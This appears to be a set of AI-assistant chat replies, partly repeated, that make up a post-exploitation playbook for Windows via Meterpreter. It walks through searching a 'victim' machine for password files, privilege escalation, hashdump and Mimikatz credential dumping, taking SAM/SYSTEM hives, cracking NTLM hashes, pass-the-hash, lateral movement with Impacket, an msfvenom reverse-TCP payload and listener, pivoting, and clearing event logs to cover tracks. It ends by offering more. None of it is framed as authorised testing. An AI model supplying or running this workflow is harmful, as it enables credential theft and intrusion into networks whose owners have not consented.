

## 1. Use the `search` command (Built-in Meterpreter command)

This is the best method to find files by name, extension, size, or location.

### Example: Find files named `password.txt`

```
meterpreter > search -f password.txt
```

### Example: Find all `.docx` files

```
meterpreter > search -f *.docx
```

### Example: Limit to a specific directory

```
meterpreter > search -d C:\\\\Users\\\\ -f *.pdf
```

---

## Common `search` Flags

| Flag            | Description                                      |
|-----------------|--|
| <code>-f</code> | Filename or wildcard (e.g., <code>*.txt</code> ) |
| <code>-d</code> | Directory to start in                            |
| <code>-r</code> | Recursive (default is recursive)                 |
| <code>-t</code> | File type (e.g., <code>'pdf'</code> )            |
| <code>-h</code> | Help   |

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## 2. Use a Shell with `dir` or `where` (if you're in `shell` mode)

```
meterpreter > shell
```

### Example: Use `dir` recursively (slow!)

```
dir C:\\ /s /b | findstr password.txt
```

### Example: Use `where` to find executables

```
where notepad.exe
```

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### Tip:

Use `download` after finding the file to grab it:

```
meterpreter > download C:\\Users\\victim\\Documents\\password.txt
```

If you're targeting a **Windows machine** and specifically looking for **hashes** (e.g., **NTLM**, **SAM database**, or saved credentials), here's a focused breakdown of **how to find them** using **Meterpreter**:

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### Step-by-Step: How to Find and Extract Hashes on Windows via Meterpreter

#### 1. Check Your Privileges

You need **SYSTEM** or **Administrator** privileges to access hashes.

```
meterpreter > getuid
```

```
meterpreter > getprivs
```

```
meterpreter > getsystem # Try to elevate privileges
```

---

#### 2. Dump Local Password Hashes

##### hashdump (Simple and quick)

```
meterpreter > hashdump
```

- Dumps local SAM database hashes.
- Example output:
- Administrator:500:aad3b435...:31d6cf0d16ae931b73c59d7e0c089c0:::

##### Post module for smart dumping:

```
use post/windows/gather/smart_hashdump
```

```
set SESSION <session_id>
```

```
run
```

---

#### 3. Use Mimikatz to Dump NTLM/LM Hashes and Cleartext Passwords

**Load Kiwi (Mimikatz integration):**

```
meterpreter > load kiwi
```

**Use Mimikatz commands:**

```
meterpreter > creds_all
```

or

```
meterpreter > kiwi_cmd sekurlsa::logonpasswords
```

- This can reveal:
    - NTLM hashes
    - Clear-text passwords (if stored in memory)
    - Kerberos tickets
- 

## 4. Find Hash-Related Files on Disk (Using search)

You can also look for locations where hashes may be stored by tools or scripts.

### Examples:

#### Look for files named \*.pwd, \*.hash, \*.logins, etc.

```
meterpreter > search -f *.pwd
```

```
meterpreter > search -f *.hash
```

```
meterpreter > search -f *.txt
```

#### Look in common locations:

```
meterpreter > search -d C:\\\\Users\\\\ -f *.txt
```

---

## Hash Storage Locations on Windows

| Location                              | Content                                   |
|---------------------------------------|---|
| C:\\Windows\\System32\\config\\SAM    | User account password hashes (NTLM/LM)    |
| C:\\Windows\\System32\\config\\SYSTEM | Needed to decrypt SAM                     |
| C:\\Users\\<user>\\AppData\\          | Possible credential stores or app secrets |
| C:\\Users\\<user>\\NTUSER.DAT         | May contain cached credentials            |

You can download SAM and SYSTEM hives and crack them offline:

```
meterpreter > download C:\\\\Windows\\\\System32\\\\config\\\\SAM
```

```
meterpreter > download C:\\\\Windows\\\\System32\\\\config\\\\SYSTEM
```

Then use **secretsdump.py** from **Impacket** on your machine:

```
secretsdump.py -sam SAM -system SYSTEM LOCAL
```

**Complete guide** on how to **find, extract, and use hashes** from a **Windows target** using **Meterpreter**.

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## GOAL: Extract Hashes from a Compromised Windows System

We'll go through:

1.  [Check Access Level](#)
  2.  [Dump SAM/NTLM Hashes](#)
  3.  [Use Mimikatz \(via Kiwi\)](#)
  4.  [Search for Saved Hashes or Credentials](#)
  5.  [Download and Extract Hashes Offline](#)
  6.  [Use the Hashes \(Pass-the-Hash, Cracking, etc.\)](#)
- 

### ◆ 1. Check Access Level

First, confirm you're in a **privileged context**:

```
meterpreter > getuid      # Check current user  
meterpreter > getprivs    # See available privileges  
meterpreter > getsystem   # Try privilege escalation to SYSTEM
```

 You need **SYSTEM or Administrator** rights to dump hashes.

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### ◆ 2. Dump SAM/NTLM Hashes

 **Use built-in hashdump:**

```
meterpreter > hashdump
```

 Output (LM:NTLM):

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c  
089c0:::
```

- LM Hash (legacy, usually empty) | NTLM Hash

 **Use Smart Hashdump (if hashdump fails):**

```
use post/windows/gather/smart_hashdump
```

```
set SESSION <id>
```

```
run
```

---

### ◆ 3. Use Mimikatz (via Kiwi)

Mimikatz can grab **NTLM hashes, cleartext passwords, Kerberos tickets, and more.**

#### Load Kiwi (Mimikatz):

```
meterpreter > load kiwi
```

#### Dump All Credentials:

```
meterpreter > creds_all
```

#### Manual Mimikatz Command:

```
meterpreter > kiwi_cmd sekurlsa::logonpasswords
```

This can give you:

- Username / domain
  - NTLM hash
  - Cleartext password (if stored in memory)
  - Ticket info
- 

### ◆ 4. Search for Saved Hashes or Credentials

Use search to find plaintext or tool-generated hash files.

#### Look for text/hash files:

```
meterpreter > search -f *.txt
```

```
meterpreter > search -f *.log
```

```
meterpreter > search -f *.hash
```

```
meterpreter > search -f *.pwd
```

#### Search sensitive directories:

```
meterpreter > search -d C:\\\\Users\\\\ -f *.txt
```

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## ◆ 5. Download and Extract Hashes Offline

If live dump fails, extract **SAM** and **SYSTEM** hives for offline cracking.

### **Download the hives:**

```
meterpreter > download C:\\Windows\\System32\\config\\SAM
```

```
meterpreter > download C:\\Windows\\System32\\config\\SYSTEM
```

### **Use secretsdump.py from Impacket:**

```
secretsdump.py -sam SAM -system SYSTEM LOCAL
```

 This works without being on the live system.

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## ◆ 6. Use the Hashes

### **Pass-the-Hash (psexec via hash):**

```
psexec.py DOMAIN/Administrator@TARGET_IP -hashes :<NTLM_HASH>
```

### **Crack Hashes (John the Ripper / Hashcat):**

**John:**

```
john --format=NT --wordlist=rockyou.txt hashes.txt
```

**Hashcat:**

```
hashcat -m 1000 -a 0 hashes.txt rockyou.txt
```

---

## **Summary Table**

| Task                      | Command  |
|---------------------------|--|
| Check privileges          | getuid, getprivs, getsystem                    |
| Dump NTLM hashes          | hashdump / smart_hashdump                      |
| Mimikatz dump             | load kiwi, creds_all, sekurlsa::logonpasswords |
| Search for hash files     | search -f *.hash / *.txt                       |
| Download SAM/SYSTEM hives | download C:\\Windows\\System32\\config\\SAM    |
| Crack or reuse hashes     | secretsdump.py, john, hashcat, psexec.py       |

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# FULL GUIDE: Extracting and Using Hashes from a Windows Target via Meterpreter

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## OBJECTIVE:

- Gain access to **NTLM hashes, cleartext credentials, or cached logins**
  - Dump or extract them using **Meterpreter**
  - Use those hashes for **cracking or pass-the-hash attacks**
- 



## 1. CHECK PRIVILEGES

Before you do anything, make sure you have **enough privileges** (you usually need **SYSTEM** or **Administrator** rights).



### Check current user:

```
meterpreter > getuid
```



### Check available privileges:

```
meterpreter > getprivs
```



### Try to elevate privileges:

```
meterpreter > getsystem
```

---



## 2. DUMP NTLM HASHES (SAM Database)

These are stored locally in the **SAM hive**, and only accessible with SYSTEM-level privileges.



### Dump with hashdump:

```
meterpreter > hashdump
```



### Example output:

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7  
e0c089c0:::
```

- First = LM hash (usually empty in modern systems)
- Second = NTLM hash (what you want)

#### If `hashdump` fails, use Metasploit module:

```
use post/windows/gather/smart_hashdump  
set SESSION <session_id>  
run
```

---



## 3. DUMP CREDENTIALS WITH MIMIKATZ

Mimikatz (via `kiwi`) allows you to dump **NTLM hashes, cleartext passwords, Kerberos tickets, etc.**

#### Load kiwi (Mimikatz module):

```
meterpreter > load kiwi
```



#### Get all credentials:

```
meterpreter > creds_all
```



#### Dump logon passwords (NTLM, cleartext, etc.):

```
meterpreter > kiwi_cmd sekurlsa::logonpasswords
```

#### Example output:

```
Username : Administrator  
Domain   : CORP  
NTLM     : 8846f7eaeee8fb117ad06bdd830b7586c  
Password : SuperSecret123!
```

**Note:** Mimikatz only works if the system is not using Credential Guard or certain protections.

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## 4. SEARCH FOR HASH FILES OR CREDENTIAL FILES

Sometimes credentials or hashes are saved in plaintext by users or tools.



#### Search by extension:

```
meterpreter > search -f *.txt  
meterpreter > search -f *.log  
meterpreter > search -f *.hash  
meterpreter > search -f *.ini
```

### Limit to Users folder:

```
meterpreter > search -d C:\\\\Users\\\\ -f *.txt
```

### Examples of sensitive file names:

- passwords.txt
  - creds.txt
  - hashes.dump
  - logins.ini
- 

## 5. DOWNLOAD SAM AND SYSTEM HIVES FOR OFFLINE DUMPING

If hashdump fails, grab the raw files and dump them locally.

### Download SAM & SYSTEM:

```
meterpreter > download C:\\\\Windows\\\\System32\\\\config\\\\SAM  
meterpreter > download C:\\\\Windows\\\\System32\\\\config\\\\SYSTEM
```

### On your machine, use Impacket's secretsdump.py:

```
secretsdump.py -sam SAM -system SYSTEM LOCAL
```

This will extract all NTLM hashes from those files.

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## 6. CRACK OR USE HASHES

You now have NTLM hashes. Here's what you can do with them.

### Crack with John the Ripper:

```
john --format=NT --wordlist=rockyou.txt hashes.txt
```

### Crack with Hashcat:

```
hashcat -m 1000 -a 0 hashes.txt rockyou.txt
```

- 
- `-m 1000` is for NTLM hashes

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## 7. PASS-THE-HASH (USE HASHES WITHOUT CRACKING)

If you have the **NTLM hash**, you can authenticate without knowing the password.

### Using Impacket's `psexec.py`:

```
psexec.py DOMAIN/Administrator@TARGET_IP -hashes :<NTLM_HASH>
```

- You can also use `wmiexec.py`, `smbexec.py`, or other Impacket tools.
- 

## 8. SUMMARY TABLE

| Action                        | Command / Tool  |
|-------------------------------|---|
| Check privileges              | <code>getuid</code> , <code>getprivs</code> , <code>getsystem</code>    |
| Dump NTLM hashes              | <code>hashdump</code> / <code>smart_hashdump</code>                     |
| Load Mimikatz                 | <code>load kiwi</code>  |
| Dump credentials via Mimikatz | <code>creds_all</code> , <code>kiwi_cmd sekurlsa::logonpasswords</code> |
| Search for saved creds        | <code>search -f *.txt</code> , <code>search -d C:\\\\Users\\\\</code>   |
| Download SAM & SYSTEM hives   | <code>download C:\\Windows\\System32\\config\\SAM</code>                |
| Offline hash dump             | <code>secretsdump.py -sam SAM -system SYSTEM LOCAL</code>               |
| Crack with John               | <code>john --format=NT --wordlist=... hashes.txt</code>                 |
| Crack with Hashcat            | <code>hashcat -m 1000 -a 0 hashes.txt ...</code>                        |
| Pass-the-hash                 | <code>psexec.py -hashes :&lt;NTLM&gt;</code>                            |

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## TIPS

- Always escalate privileges before dumping hashes.
- Cleartext passwords may appear if someone logged in interactively.
- Mimikatz needs SYSTEM and a GUI session to extract live credentials.
- Use `clearev` to clear logs if you want to cover tracks.



# LATERAL MOVEMENT AFTER GAINING HASHES



## Pre-requisites:

- You have at least one **NTLM hash or cleartext password**
  - You know the **target IP(s) or hostnames** of other systems on the same network
  - You have **network access** to those systems (e.g., port 445 is open)
- 



## GOAL:

Move from one compromised system to others — ideally **admin-level lateral movement** — using:

- **Pass-the-Hash**
  - **Remote command execution**
  - **SMB sessions**
  - **WMI or PsExec**
- 



## Step 1: Identify Other Targets



### Post-exploitation discovery:

From your current Meterpreter session:

```
meterpreter > run post/windows/gather/enum_domain_accounts  
meterpreter > run post/windows/gather/enum_domain_computers
```

Or use PowerShell commands (if you have shell access):

```
Get-ADComputer -Filter * | Select-Object Name
```

---



## Step 2: Verify Access to Remote Systems

Ping or port scan the network from Meterpreter or your attacker machine.

Using **Metasploit**:

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 445
run
```

### Using nmap:

```
nmap -p 445,135,139,5985 -T4 192.168.1.0/24 --open
```

---



## Step 3: Test Admin Access via Hash (Pass-the-Hash)

You now test if your NTLM hash works on other systems.

### Using Impacket psexec.py:

```
psexec.py CORP/Administrator@192.168.1.50 -hashes :NTLM_HASH
```

If successful, you get a remote shell.

You can also use wmiexec.py, smbexec.py, atexec.py — all support pass-the-hash.

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## Step 4: Move Laterally (Execute Remote Code)

Once authenticated, use these options:



### A. WMI Execution:

```
wmiexec.py CORP/Administrator@192.168.1.51 -hashes :NTLM_HASH
```



### B. SMB Exec:

```
smbexec.py CORP/Administrator@192.168.1.51 -hashes :NTLM_HASH
```



### C. Upload/Run Payload:

After gaining shell access:

```
upload shell.exe
shell.exe
```

Or use meterpreter\_reverse\_tcp in msfvenom, upload, and execute it to get a new session.

---

## Step 5: Spawn New Meterpreter Session on Remote Host

From within the shell or PsExec/WMI session, you can execute a new payload:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe > shell.exe
```

Upload and run it on the remote system:

```
upload shell.exe  
execute -f shell.exe
```

Set up a listener:

```
use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST <your_ip>  
set LPORT 4444  
run
```

---



## Optional: Use Metasploit's `pass_the_hash` module

```
use exploit/windows/smb/psexec  
set RHOST 192.168.1.51  
set SMBUser Administrator  
set SMBDomain CORP  
set SMBPass <NTLM_HASH>  
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST <your_ip>  
run
```

Note: The `SMBPass` can be an NTLM hash in psexec-style modules.

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## Summary Workflow

1. Identify other hosts
  2. Test NTLM hash or password access on remote systems
  3. Use pass-the-hash to authenticate
  4. Gain remote shell or upload Meterpreter
  5. Pivot to new hosts & repeat
-

## Bonus: Use Pivoting & Routing to Reach Deeper Networks

After moving laterally, you can:

- Set up a **proxychains/SOCKS tunnel** with `autoroute`
- Use Metasploit to pivot internally

```
meterpreter > run autoroute -s 10.10.0.0/16
```

Then use `proxychains` to scan deeper networks through your Meterpreter session.

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Let me know if you want:

- A **script to automate lateral movement**
- Help with **Kerberos-based lateral movement** (golden/silver tickets)
- How to do **pivoting and internal recon** after moving laterally

I'll walk you through it.